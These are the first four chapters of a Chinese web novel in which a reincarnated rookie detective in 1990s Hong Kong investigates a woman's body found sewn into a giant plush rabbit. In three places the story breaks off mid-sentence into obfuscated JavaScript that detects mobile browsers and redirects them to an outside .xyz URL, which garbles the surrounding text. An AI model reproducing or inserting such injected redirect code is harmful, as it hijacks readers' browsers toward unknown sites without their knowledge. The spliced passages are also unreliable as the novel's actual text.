《我在九零靠真话吐露系统高能探案》 1. 来案子了! 六月的香江,一片风和日丽,气温正适宜。一张床上薄薄一层凉被,裹了个瘦小人影,薄被上卡通形象格外醒目。 “铃铃铃!”手边闹铃响起,林知夏抬手将闹铃摁下,起身到窗前,哗啦一下拉开窗帘。 映入眼帘的便是牵手楼那狭窄逼仄的景象。 牵手楼没有阳台,晾衣绳挑在窗户外头,才能晾晒衣物。 林知夏揉一揉眼睛,由于和对面楼距离很近,少数家里有电视的,偶尔一眼就能瞥见电视里演的什么武侠传奇。 可惜了,被楼宇遮挡,好风景不能尽收眼底。 林知夏换上一套干净利索的运动服,准备骑脚踏车前往重案组。 她是穿越过来的,穿越之后原主是香江警校新毕业的学生,成绩三流,体能三流。 按理说是进不了西九龙区重案组的,不过因为调档等特殊原因,报考重案组上面的几名滑档去了别处,她才阴差阳错进入。 原主年轻漂亮,尤其是刚毕业,学生气十足,喜欢各种学生风格的衣物,所以即便是运动装,也买了粉色套系。 为了维持住人设,林知夏自然不能改变穿衣风格。 何况上一世作为资深刑警专家的她,退休后还在出任务,75岁不慎被人质推下楼摔死,遂穿来的灵魂中,倒是格外渴望年轻,这具身体让它重焕活力。 原主的喜好,恰也成了她心思转变后的爱好,因此她毫无违和感地穿着这一套粉色运动装出发了。 脚踏车横穿过香江大街小巷。 九十年代的香江烟火气正浓,到处是档口老板的叫卖声。林知夏沿街买了份鸡蛋仔,边骑脚踏车边吃。 偶尔有时间,她还会到沿途的莲花公园坐一坐,这样更方便吃早饭。 咬下一大口鸡蛋仔,喷香浓郁的蛋香气扑入口鼻,林知夏不由得感叹一声:“真好吃啊!” 公园里,有些正在晨练的大爷大妈,不过都各自聚集一角,舞蹈、吹拉弹唱、吊嗓子应有尽有。 而林知夏的视线不知怎的,定格在公园湖畔的一个年轻人身上。那年轻人体格有些肥硕,身高1米85左右,看重量,大概有个180到200斤。 瞧这穿着打扮,有些潦草,胡子多日未剃,整个人显得十分邋遢,油头满面。 林知夏大口大口吃完了手里的鸡蛋仔,心里快速思索,那男人精神状态不佳,现在站在河畔,眼神有些木然地往四面八方看,像是在确认有没有人,不会是自暴自弃了吧? 林知夏将鸡蛋仔的纸袋揉成团,远远投掷进公园的垃圾桶,十分精准。 与此同时,那男子开始往湖里跳,说时迟那时快,林知夏一个箭步窜上前,一个横扫腿! 直接把身体倾倒的200斤男人踹翻倒地,并拽住他的双手,狠狠将他拖回了平地,远离那湖面。 周围的老人们闻声赶来,看到身材弱小的女子拽动200斤的大汉,都瞪大了双眼。 林知夏轻咳两声,连忙解释:“不好意思,我稍微练过一点。” 上一世,在警校格斗、长跑、越野、枪击等运动项目中,她都是断层第一,小小身体能爆发出无穷的力量,没想到这力量竟然跟她一起穿到了九十年代的香江。 当然,这在重案组还不能轻易显露出自己武力之高强,不然可是和原主警校的成绩不符。 不过穿来这一个月时间,唯一一次她跟着重案组出现场,被犯人袭击,她出手触碰到嫌疑犯之后,居然瞬间开启了一个“吐露真话系统”。 系统只留下一段“好感值越高,越容易吐露真话,每天只能对一人开启一次”这样的提示以后就消失了。 因此,从那日嫌疑犯主动承认自己推了一位受害者下楼以后,令众警员不费吹灰之力就拿到了他的供词之后,她就再没开启过这个系统。 或许是因为她在重案组太没有存在感,每次都被前辈们护在身后,没法直接接触现场,因此无法和嫌犯提高什么好感度的原因吧! 此刻那200斤男人重重摔在地上,他昏迷了一会儿,缓缓睁开眼睛:“这是天堂吗?” 旁边大爷出声了:“什么天堂?你这小年轻怎么想不开,要跳湖啊,还叫人家小姑娘救你,真是害不害臊?” “是啊,我老太婆真是后怕得很呐,你要在这湖里面溺水身亡了,我来锻炼做操的时候一眼看到尸体,吓得几个月都睡不好觉哦!” “是你救了我?”跳湖的男人看向林知夏,自然有些不可思议。 林知夏正好亮出警官证,在他面前晃了一下:“我是西九龙区重案组的警员,如果你有什么想不开的事,找警员帮忙也可以,生命只有一条,一定要好好珍惜哦!” 林知夏拍了拍他的肩,那笑容让男人心里有些冰冻的东西融化了。 “我被养父母抛弃了,今后再没有家了,这样还能走得出来吗?” 林知夏脚步一顿,愣了一下,是因为刚才自己救了他,好感度增加,自己开始吐露真话了吗? 不过,真话系统的作用似乎是有限的,她目前开启过的两次能力,都是只有一句话,再多就不行了。看来自己还要好好研究下这个系统怎么用,在关键时刻或许能发挥些作用。 那男人似乎也讶异自己怎么把这话吐露出来了,明明是压抑在他心底最深的秘密。 他从小就自卑,不想被人知道他是被收养,可亲生父母抛弃他,养父母也要抛弃他,让他认为自己是这个世界上没有价值的人,从而产生了轻生的想法。 “放心,你能走出来的。” 林知夏转身离去,大爷大妈们拉着那年轻男人各种劝告安慰,老人们带来的暖意,应该会让他感受到关爱,心里能好受一点吧? “哎呀,时间不早了!” 林知夏看看手表,脚踏车蹬出残影,快速朝重案组大楼骑去。 到楼下,恰好遇上刚把吉普车停下的沙展冯智临。 关上车门,冯智临随她一起上楼。 “你住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280233|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得似乎不近啊?” “是啊,九号花园的房子便宜,我才刚工作,要省点钱嘛!” 冯智临点点头。 重案组在警署大楼5、6、7层的位置,配套的法医室、档案室、归档室应有尽有,人员也是独立配备的一套。 能在重案组留下来的,必定都是精英。 林知夏如今还是实习期,若是实习阶段通不过,自然就和这里无缘。还只是小卡拉米的林知夏通常只是默默跟在众人身后。 林知夏由于刚来,更多的还是在熟悉重案组的工作流程。 比如电脑端将证据存档等比较新兴的技术行为,老警员们不大熟练,就交给她这个年轻人做。林知夏自然接触不到太多案件信息,更多是在做幕后的工作。 不过这一个月时间,她也熟悉差不多了,林知夏拖着腮帮子想,是时候让自己接触些案件了吧? 她给自己倒了杯水,刚喝下两口,就听见办公室内公共电话响起。 冯智临去接了电话,本以为是交上去的档案事宜出了什么岔子,没想到越听神情越凝重。 撂下电话之后,办公室内气压低得让这种人都不敢呼吸,警员刘美飒和闫子豪坐得近,对视一眼:“糟糕,怕是又来案子了。” 冯智临指尖点着桌面,环顾办公室现有的人员,有一队人马被他抽调出去,配合交通肇事组破案子去了,办公室内明显人手不够。 于是他看向新人:“小林,你也一起来,大家准备出警!美乐毛绒玩具店仓库内,有一名被害者身亡。比较奇怪的是,被害者尸体不是裸露在外,而是被套入一只毛绒兔的巨型玩偶当中,早晨刚被员工发现。” 众人一听,接着倒抽一口凉气。 法医佟晓敏也准备好了,立刻出发。林知夏就挤在闫子豪的车子上,坐在后排。 很快,车辆抵达犯案现场。 毛绒玩具店玻璃大门已经呈现破损状态,被人砸开一个大洞,地面上满是碎裂的玻璃。 装满毛绒玩具的店内往后走就是仓库,仓库大约七八米见方,满满当当塞了各种进货来的毛绒玩具,小的有手掌这么大,大的确实有两米多高,完全能承纳一个人。 而此刻,那具女性尸体正坐在地面上,和毛绒玩具被放置的姿势一模一样。 只是玩具一边的拉链被拉开,想来是工作人员觉得毛绒玩具太重,搬不动的时候拉开去看填充物,这才发现里面露出一张人脸。 林知夏小心翼翼跟在警员们身后,探着脑袋往房间里看。 冯智临把那只巨型兔子的拉链全部拉开,露出的就是这种尸体。 他招手叫法医过来,佟晓敏打开法医佟晓敏箱,里面有各种验尸工具。 佟晓敏带上无菌手套,穿着白大褂,仔细检查了死者的唇周、手指、脚趾,掰开口唇闻里面的味道,再查看身体上有的外伤。 林知夏的视线则环顾刚刚来报警的男店员,只见他双手颤抖,被吓坏的劲儿还没过去。 2. 打碎的玻璃门。 林知夏在旁边观摩,法医佟晓敏大名鼎鼎,穿越这一个月时间里她了解到,佟晓敏是西九龙重案组的宝贵人才。30岁出头,专业性却很强,连续三次获得过香江法医专业比赛的第一名。 由她手里验过的尸体不会有错。 很快,她检查了死者周身之后,得出初步结论,站起身,对冯智临说:“不是中毒,没有其他外伤,就脖颈这一处,似被绳索类似物所致。至于这纤细的物品究竟是什么,我看这店内就有不少选择,捆毛绒玩具的塑料绳,仓库的窗帘可以抽出来的麻布,呐,这个地方掉了线,还有包装袋上的绳子,如果系起来也可以勒一周。我都会拿回法医室化验,结果的话,大约明天能出来。” 冯智临点点头,招招手,取证人员连忙跟着法医佟晓敏去了个角落,搜寻可能的凶器痕迹。 所有细长可比做绳索的物品,都被取得干干净净。 冯智临从蹲身状态站起身来,问刚刚的店员:“你叫什么?” “杜中奇。” “死者你认识吗?是顾客还是店员?” “是顾客,店员一共三个都在店里,他们在外头招呼客人,我来仓库补货。我要上一只大型毛绒兔,因为摆在外面的刚被一个40多岁大姐买走了。可是我来搬的时候,感觉重量特别沉,这一拉开拉链看,居然、居然是……” 店员杜中奇说着,掩面抽泣起来。 很显然,见到尸体的冲击,一般人都难以承受,尤其死状这样古怪。 “你们三个人,谁第一个发现这店玻璃大门被击碎的?”冯智临继续问。 一名女店员弱弱地举手:“是我先发现的。我第一个到店,看到玻璃门被砸坏了,第一反应是,抽屉的钱会不会被盗了?最近新闻上不是传有‘黑影’窃贼入室盗窃嘛,我们都顾着家里装什么防盗窗,却没想到店里会出事。我第一时间打开收银柜查看,可柜子里的钱一共2万5千多港币,都好端端的一点儿没少,所以就想着是不是半夜有醉汉过来,迷糊状态下给砸的。这种事两年半前我们店里也有过,就是流浪汉干的。所以我当时给店长打去电话,店长说,把这玻璃门更换了就行。” 林知夏敏锐发现了什么,轻声问:“流浪汉?这附近有摄像头吗?” 女店员点点头,解释说:“之前是有的,可后来,摄像头坏了,被小孩子砸的,也一直没修。摄像头不是我们店的,是对面店铺的,刚好能照过来。不过这摄像头坏了有一年多了。” 九十年代安装摄像头还是比较罕见,除非店铺内有比较贵重的资产,如此情况下才会安装。 林知夏思索着,对面的店铺是一家名为“文宝世家”的文玩店,的确有安装的必要,不过后面恐怕是店里没发生什么事,就懈怠了。摄像头沦为摆设的情况,并不罕见。 冯智临继续问:“知道死者具体身份吗?” 杜中奇点点头:“瞧着她面熟,老顾客,特别喜欢黄色的毛绒玩具。呐!这有我们记录的顾客表,每天出的单,我们都会记下来,老顾客一般会有一个不一样的图章标识。” 杜中奇忙将出单的表格呈上来。 冯智临和几名警员探头去看。出单表放在桌上,细细观察,顾客的名字的确是用简称或符号替代的。 不过,连续一周她都没有来过毛绒玩具店买玩偶了,因为标注着她的星星符号,只在一周之前出现过几次。可是这一周都没来店里,尸体怎么又会在店内出现呢? 店员杜中奇和另外两名店员纷纷摆手说:“我们三个昨天下班之前都在店里,真的没见她来过。” 林知夏思索,如果不是三个人集体说谎的话,那么倒是互为不在场证明,可为什么死者又和这家玩偶店有着剪不断理还乱的关系,要砸破店面入内,将死者套在玩偶皮内? 一般处理尸体都会往隐蔽的地方藏匿,丢进下水道、废水沟等地方,塞进玩具店倒是闻所未闻。 女警刘美飒在旁边听了半天,问:“你们店长怎么还没来啊?” “他快了,店长早上送孩子上学,他孩子才五岁,有轻微自闭症,他平时都得照顾,会来的晚些。” 取证人员拍了照之后,众警员也散开在店内,开始搜寻其他证据。 林知夏在展示柜旁搜索了一遍,其余毛绒玩具看起来都挺正常,一共十几个柜子,每排能放置20只毛绒玩具左右。每个展示柜前都有一盏灯光照亮,将摆放在台子上的毛绒玩具映照得格外可爱,小兔、骆驼、八爪鱼、老虎等样式应有尽有。 不过,对看到尸体的店员们来说,此刻这些可爱的玩具却变得狰狞起来。 林知夏又跟着女店员搜索了一遍装有货款的收银箱,确定没有其他值钱的东西。 林知夏问女店员:“除了钱财以外,没有别的值钱物件?” 女店员想了想,说:“我们老板娘有一串红宝石项链,是filosefi品牌的,价值20万港币。不过,我刚刚看了,还在柜子里的。” “你能确认是真品吗?”林知夏问。 “可以确认,因为上面有些瑕疵,是老板娘5月份帮我们一起搬货物的时候,不小心磕坏的。为此,她还跟老板吵过架呢,说怪他叫自己搬东西,把自己珍贵的红宝石项链给搞出了瑕疵。所以后来,她对这红宝石项链就没那么宝贝了,偶尔会忘记拿,落在店里,我就会帮她收进柜子里。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280234|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林知夏找到红宝石项链,拿在手上检查,材质的确不像是换上了赝品。这方面的鉴定她略懂一些,上一世有专门做过这方面的训练,多少是能判断的。 大约半个小时后,店长栾大斌终于驱车赶到,一下车就着急忙慌地擦拭额头的汗水,显然,听到消息后,也有些惊吓过度,脸色惨白。 看见重案组成员,他伸手抹了把汗,但作为老板,还得强做镇定道:“真没想到,我这辈子会和重案组打交道。” 冯智临将抽出来的货柜收回,把手中一只手表装进证物袋,抬头问他:“昨晚你在店里吗?” 店长栾大斌摇摇头:“最近我老丈人身体不好,我老婆回娘家照顾了,孩子由我接送,还得我做饭照顾。所以,店里没事儿的话,我和店员就是通个电话,有需要我才来。” “每晚下班时间是固定的吗?会不会有加班的时间?” “我们晚上10点之前是必须会关门的。像我们这种店铺营业时长是固定的,有需要的第二日也能来买。所以我们没有加班这样的习惯。凌晨出的事,我们店员应该都不在场。” “看一下里面的被害者,你认不认得,她叫什么?等你辨认完,待会儿我们就把她装入尸袋,做进一步尸检了。” “一定要看尸体吗?” 店长栾大斌自然有些发抖,做了很久的心理建设,才踏入仓库,只看了一眼,就认了出来。 走出仓库,他扶着墙边干呕了半天。众警员都在看着他,栾大斌扶着胸口,让自己勉强镇定下来。 林知夏适时为他递上一杯水,店里有饮用水机,她特意给接的。 店长栾大斌喝了两口,说了句谢谢:“我有印象,她叫付元露,确实是老顾客了。付元露话不多,比较内向,不过可能是她特别喜欢这些玩偶,尤其是喜欢那边尼尼小熊和福利瑞大黄系列,出了新品就经常过来买,所以久而久之,我们也变成半个朋友。除了玩偶之外,有时会聊得深一些,问问最近生活情况。她是佛语商贸的职员,就在这附近上班,再多的我就不知道了。” “她家庭住址你知道吗?” 店长栾大斌目光闪烁了一下,但立刻摇头说:“这个我不知道。” 众警员在店内取好了指纹,又将店员和三名店员的指纹和鞋印做了取样,带回去后一并比对,看现场有没有散落的不属于几个店员的痕迹。 冯智临坐上车后,吩咐闫子豪道:“你回去锁定一下,她家在哪里,我们去她家探一探。” 闫子豪点头。 路上几名警员讨论起这桩有些古怪的案子。 林知夏只在一旁默默听着,目光不由自主地转向了车窗外。 3. 那些情书…… 回到重案组楼下,众警员…… 回到重案组楼下,众警员们都纷纷上了楼。 林知夏则停留了一瞬,因为她闻到了好香的味道。由于力气大,补充的能量自然也要多。 所以早上吃完了那只鸡蛋仔,又用力摔了一个200斤的男人后,力气耗了些,自然就有些饿了,肚子“咕噜咕噜”的直叫。 她只好寻着那香味走去。 别说,她很怀念这种感觉,这具身体的食欲还很旺盛。 原来,重案组的大楼旁边就有卖糕点的,店老板正从一只炉子里端出一只大大的黑色托盘,托盘上摆着热气腾腾、刚出锅的淡黄色核桃酥。 这些核桃酥外层鲜黄油润,有一些棕黄色核桃颗粒夹在其中,上面点涂着黑白芝麻,散发出阵阵核桃香味,真是馋得人不得了。 林知夏的肚子已经忍耐不住,她买了十只核桃酥,在楼下吃了几块。 回到重案组后,一边将还没完成的资料输入电脑,一边将剩余的黄色核桃酥一股作气吞了进去。 那饿到能吞下一整只鸡的感觉慢慢消失了。 法医佟晓敏正在解剖室内解剖尸体。一般情况下,这时候解剖室内都比较吓人,很少有警员愿意在解剖时进入。 档案室的人要送资料过去,在大办公室里瞅了一圈,瞄准了林知夏:“你能帮我把这资料带给法医佟晓敏吗?” 林知夏半点没犹豫,将吃完核桃酥的袋子扔掉,就接过了这项任务。 连档案室的人都不由困惑了一瞬,往常找人去送都会拒绝,对方一般会说为什么不自己进去之类。 不过这回,新人小女警倒是答应得挺快,是不是她还没见过法医佟晓敏解剖室那片惨烈的景象啊?! 档案员内心这样想着,林知夏已经起身,进入解剖室看了眼血赤糊拉的尸体,十分淡定地把资料交给法医,按照档案员所说交代一番注意事项后,才退出来。 那档案员瞧着林知夏,不由竖起大拇指:“你还挺有胆!” 对方拍了拍林知夏的肩,离开了。 很快,闫子豪查到了被害者付元露的家庭住址,交给沙展冯智临后,冯智临叫几名警员一起出发,林知夏也一同前往。 坐进车里,她观察这附近的路线。 车弯弯绕绕拐进一条小巷。外面看是挺破旧的房子,等下车从小巷拐进去之后,路上倒挺干净整洁,没有积水,没有肆意摆放的垃圾。 两边都是三层小楼,因为年份比较久远,外表墙皮掉落,看上去很是斑驳,管道的部分也生了锈,稀稀落落的藤蔓就攀在外墙。 进楼以后,警员们上到2楼,家里没人,就被害者一个人居住,因此只能破开房门。 进入之后,众人都被家里的摆设震惊了,外立面的破旧和家里的干净整洁形成强烈的反差。 而且何止是干净而已,完全就是温馨、好看、审美非常高级! 尤其是房间里的东西引起了大家的注意,毛绒玩具大大小小、各式各样的,摆满各个墙角,几乎堆成一座小山。 整个人仿佛进入了毛绒动物的海洋。 林知夏忍不住感叹:“还真是个毛绒玩具爱好者,看得出来是相当狂热!” 旁边的女警应和道:“我还以为像我这样的就够恋旧了,从小到大买过的玩具都没有扔掉,家里什么也都有20多只小老虎小兔。不过谁知道,跟她一比,还是差得远。” 被害者的房间是一居室,只有她一个人住,一间客厅,一间卧室,客厅零零星星摆了些毛绒玩具,卧室则占了大头,床都快要遮得看不见了。 林知夏走上前,拿起一只紫色小狐狸玩偶仔细观察。 旁边的警员阿杰开口了:“她不会省吃俭用都来买这些珍藏品吧?我看这只尼尼小熊底下还标注标签呢!在店里看几十几百港币一支还能负担得起,可是限量版居然要上千呢,是不是仅此一只?在店里没有见过这个。” 冯智临接过看了一眼,点头确认标签上的数字:“真是下了血本了,这要是一个月买个几只,对她来说,工资就不够花了,看看她有没有欠款。” 警员在付元露家里找到几张银行卡,还有一个简单的记账本。 虽然记账本内容很乱,不过整体而言,看起来并未超支。 “这些银行卡还要再查,如果在外负债的话,那么债主就有了作案嫌疑,当然,目前看来还没有相关的证据表示。”冯智临开口。 林知夏随手拿了几只毛绒玩具,拉开拉链去看,结果这一看不要紧,发现玩偶内部,竟然藏着一张白色纸条! 林知夏戴着手套将纸条取出来,仔细一看,居然是被害者的情书! 情书上的内容是两人相识时的一些细节。 “聚会上你帮我挡酒,我就有些喜欢你了,每晚都做有关于你的梦,醒来的时候觉得内心空空荡荡,好怀念有你时候的日子。” 林知夏连忙又找了其他的玩具,翻了一阵,终于在另一只毛绒玩具里也找到了其他的情书。 说是情书,更像是一些记录少女心事的日记,不太像是用来告白的,好像是写给自己看,用来怀念的。 林知夏将情书内容念了出来:“你的眼睛真的好好看,我不知道该怎么形容,但每次和你的目光相触到,自己心跳就会快上一拍,咚咚咚跳个没完啊!从爱上你的眼睛开始,到你高挺的鼻梁、性感的嘴唇,完蛋了,我好像整个人都深陷其中无法自拔!” 还挺肉麻,很像是夜深人静、伤春悲秋、情绪敏感时候写的。 林知夏若有所思:“我猜想,那些玩偶里面应该也藏有不同的情书,这些毛绒玩具难不成是要送给她喜欢对象告白的?” 冯智临若有所思:“不是没有这种可能,喜欢这样的事非常隐秘,如果一直暗藏心中,没有告诉过任何人的话,只是记录在纸条上,那么同事们或许并不知道被害者暗恋对象是谁?如此一来,就无法查询,所以当务之急是要找到她喜欢对象叫什么名字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280235|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她有关联的名字必须要排查一遍。” 很快,林知夏从众多的玩具中找出了一只猎豹玩偶,拉开拉链,打开它的腹腔,看到一张纸条。 终于,这次纸条前面有了称谓:“豪。” 虽然只有单字,不过在她周遭的人群中寻找应该不是难事。 林知夏将这张纸条递给冯智临,冯智临点点头。 “家里其他地方都已经翻查过没有?” “看过了,没有异常。” 警员走到楼下,刚好看到几个街坊邻居坐在一起打牌,也有这栋楼里的住户,这是个询问的好场合。 冯智临亮出警官证,几个打牌的大娘就是一愣:“呦!重案组的嘞,发生什么事了哟?” “2楼左边那个住户被人杀害,我们想问问,她出事之前有没有什么异样的表现?” 一听是付元露,几个人脸刷的一下就白了。 “那么年轻的一个小姑娘哟,怎么遭了凶祸?” “哎呦呦,平时看着挺乖的,也不带男人回来。她原来住的那地方,房东都要头疼死了,一连好几个用户,有男有女,私生活都不干净诶,搞得她那房里乱糟糟的啦!房东后来就给退租了,租给付元露。付元露啊,除了上班、下班外出,其余时间都在家里呆着,通常就是一个人,没有男朋友,不过朋友好像也不多,可能跟她性格有关系,她这个人不爱说话,就是邻里邻居见面了,也是我们主动打招呼,她不怎么理人的。” 其中一个大娘却微微摇了摇头。 林知夏敏锐发现,她看上去并不像是在附和,反而像是有不同的想法。 林知夏连忙问:“阿姨,您不这么觉得?” “那丫头……”戴着时髦蕾丝帽的阿姨点点头,“你们只是看表象而已,我跟付元露离得近呢!她跟我是楼上楼下,我接触她的时候比其他人们要多。她这个人呐,有点闷闷的,不是像你们想的那样乖。” 冯智临问:“具体是什么样?” 那戴帽子的阿姨边摸着牌边道:“她这个人性格有点古怪,我亲眼见她把几只毛绒玩具用剪刀剪成碎片,那眼神叫一个狠呐,瞧着怪吓人的,棉花都撕了一地!我叫她收拾一下,不要弄到走廊里,付元露反而抬起头白了我一眼,说她会处理的。后来连着好几天我都看到她站在走廊里,阴恻恻的样子,我都躲着走。那些毛绒玩具剪完之后,可能她就扔到附近垃圾桶里去了吧!不过瞧着当时的样子,是有些魔怔的,你说说买回来的玩具,一刀一刀剪碎,这是什么心理?” 剪碎的毛绒玩具? 刘美飒、闫子豪面面相觑,怪不得在家里没找到那些比较碎的玩具,应该就是投放到附近垃圾桶里了。 这要是不问,还真不知道内向性格当中居然暗藏着一点点偏执,不,或许这偏执比他们想象的还要更多。 林知夏捏着下巴思考:“那她剪毛绒玩具的时候,是不是把这些玩具想象成了自己喜欢的对象啊?” 4. 第二名被害人。 用剪刀剪碎毛绒玩具的行为,很像是两个人产生了某种感情上的不愉快而导致的。 如果真是情杀,就都有了动机。 然而,拿到“豪”这个字,也得筛查,这个字并不罕见,即便被害者公司名字当中有这个字的同事,也有五六个人。 一番排查之后,已经到了晚上。 终于,众人还是锁定了一个名叫黄可豪的男人。 他现在已经不在阿丽莎商贸公司,两个月前就辞职进了新的公司。时间上与邻居们形容付元露剪毛绒玩具的时间比较相近。 难不成是当初自己心仪对象离开公司,再也没法天天见到,心生怨怼,被害者付元露才会做出那样的举动? 众人确定好对象后,大口大口吃完了眼前的盒饭。 警员们行程紧张的时候,没时间吃饭,就到楼下“福顺记”小店点一份盒饭,份有猪扒或鸡扒,带点豉汁青菜,加一杯可乐或橙汁饮料的套餐回来。 林知夏也快速吃完,这鸡排的味道比想象中好,很鲜香,虽然肚皮没能彻底满足,但还是跟着一起出发。 黄可豪如今还在新公司加班。 因此,车队到他家里转了一圈,敲敲门,发现没人应答,就又拐去了他的新公司。 这家公司在一处小型商圈,旁边就是百货大楼,外立面满是爬藤植物,但相比付元露所在的公司规模更小些,一共就20多个人,办公室只有半层之多。 大家都下班了,而黄可豪还在挑灯夜战,整理标书。 听到走廊里有脚步声,他警惕地看脸身后。这脚步声直接奔着他所在的方向而来。 黄可豪连忙起身,把标书放回抽屉再锁住。 “你这是去哪儿?加班听到人脚步声,不至于害怕的要溜吧?” 然而,看到眼前的来人面孔陌生,黄可豪居然松了口气:“吓死我了,我还以为是别的什么人!” 他随手拉开同事的椅子坐下,手指拨弄着旁边一只盆栽的叶片,表情上有些如释重负。 看到对方亮出的警官证,黄可豪睁大眼睛不可思议:“重案组找我做什么?我又没有犯事!” “付元露今早被人发现死在了美乐毛绒玩具店铺内,法医断定初步作案时间为昨天半夜两点到四点之间。你那时候在什么位置?” 黄可豪张大嘴巴,难以置信。 良久,才猛地拍了一下脑袋,仿佛想让自己清醒过来:“你说她死了?她死了,哈哈哈,实在太好了。竟然有人想杀了她!” 话音刚落,就听到冯智临厉声喝道:“严肃点,人命关天,这事和你有没有关系?” 黄可豪摇摇头,摊开手:“阿sir,我有不在场证明,昨天一整夜,一直到凌晨5点,我都在这座楼里加班,楼里保安来巡逻,见了好几次。” “大半夜的,你不回家?有那么重要的工作要你做?” “警官你不知道,最近要竞标,价值500万港币的标的啊,欧意品牌代理商的资格!我们这里着急,想拿下这个标的,那得不眠不休的干啊!我又是组长,三个同事呢,陪我一直加班到凌晨一点,他们回去以后就留我一个人在这儿。” “你和付元露究竟什么关系?” “我在躲她,从原来的商贸公司跳槽出来,就是因为不想付元露时时刻刻骚扰我。不瞒各位说,她可一点也不像别人眼里的样子,在我面前吓死个人……” 黄可豪指指脑袋,“她这里有点毛病,总是给我送很多毛绒玩具,可是那些里头放的东西简直太吓人了!不是搞什么整蛊的血淋淋的眼珠子,就是一枚刀片,或者自己剪下来绑了蝴蝶结的头发。哦,还给我写过一封情书,措辞吓人的很,就不是正常的那种表白,警官,你们能理解吗?” “具体点,她情书里怎么写?” “太细致的我也不记得了,反正看完之后头皮发麻,直接给撕碎扔垃圾桶里。那都半年前的事儿了。” “快说。” “大致意思就是说她喜欢我,见不得任何异性跟我说话,哪怕是公司同事之间正常的交流,她都觉得有问题呀!连我的女上司跟我讲话,她都受不了,说我要是再看别的异性,她就挖了我的眼睛!还真的寄了血淋淋的羊羔眼睛过来,你说这个人是不是太偏执了?” “还有吗?” “有啊,我无论走到哪,这家伙都阴魂不散,远远盯着,那目光太渗人了,手里还把玩着刀具……” “她会发泄似的,剪手里的毛绒玩具,就当着我的面,我就感觉我好像成了手里的玩具似的,任由她拿捏!后来她再送毛绒玩具,我看都不看,直接丢进垃圾桶。” “你说的保安现在也在值班吗?” “是啊,在呢。换班的保安家里请假了,他连上两天,估计这会儿累的在下面打盹呢!” 那保安果然在睡觉,睡得那叫一个凌乱,起来的时候头发都变成炸毛的鸡窝了。 看到眼前的警官证,他吓了一大跳,连忙不敢怠慢,上楼仔细盯着黄可豪左看右看。 “没错啊,昨天半夜小黄一直在这加班来着。这地方灯亮着就没关过。” “他只有昨天晚上在这儿吗?”林知夏询问。 毕竟,如果单独一天晚上加班,故意制造不在场证明的时间,反而引人怀疑。 保安想了想,说:“我在这值班的时候确实看见小黄啊,每天都最晚一个走,基本上怎么也都到凌晨了吧!我还想呢,这年轻小伙子,精力这么旺盛,好好干,肯定升职加薪,后面好日子等着他呢!” 黄可豪唇角勾起微笑:“看看,我说什么来着?” 他翘起腿,整个人状态变得放松下来,“有人给我证明的。” “你多长时间巡逻一次?每次巡逻黄可豪都在吗?中间没有离开的时候?”林知夏问。 保安回答说,“每一个小时就得巡逻一趟,这是上面的规定,我都得记录在案,我给你们找找本子啊!嗯,我印象中没记错的话,昨天晚上,小黄每个小时都在的。” 保安找来了记录本册,林知夏翻看以后递给冯智临说:“沙展,的确,每个小时都有记录的。从凌晨两点过后,记录楼里每次都是仅剩一人,名字他倒没有记。” 保安接过话道:“我们这儿都不记名的,不过这人就是小黄。有时候我上楼巡逻,我们还会聊两句,昨天还聊起了大明星胡同同的八卦呢,都说他亲妈是歌后呢,两人隐瞒母子身份来着……嗨,因为在楼里实在太无聊了。我有闹铃,都是整点过来检查。” 林知夏在脑海中画出路线图:“从办公楼到美乐毛绒玩具店铺来回一个小时刚好,不过还要加上杀人,打碎玩具店玻璃,将尸体套进毛绒玩具这个过程的话,一个小时的确紧张。” 目前看来,有保安做证人,黄可豪没有作案时间,嫌疑暂时可以排除了。 离开商贸大楼,天色已经完全天黑了。 刘美飒忍不住说:“还以为是情杀,目前看来,求财不是,也不是情杀的话,那会是什么?” 离开重案组,回到九号花园。 林知夏循着台阶向上,这牵手楼住的人多,附近配套设施也全面,一般林知夏买生活用品都在附近的一些小商店。 昨天肥皂用完,她买了两只茉莉清香味的,顺便提了一袋洗白白品牌的打折洗衣粉。 刚走上楼就乌央乌央吵成一片,似乎是因为谁家花盆从窗户上掉下去,差点砸到人。 牵手楼里总是这样,邻里之间关系密切起来,好得像一家人,互相张罗着到对方家吃饭。可若是闹起纠纷来,也是听得人头大。 林知夏快速沿着走廊,和众多看热闹的人擦墙而过,回到房间,总算隔绝了声音。 她躺在沙发上,闭目想了一会儿今天的案子,暂时没想出个什么所以然来。 一个嫌疑人被排除了作案时间,那么就还得沿着付元露身边的人一个个细细查起。如果是身边人作案,倒还能排查出来,若是陌生人呢? 林知夏想着想着,就在沙发上躺倒睡着了。 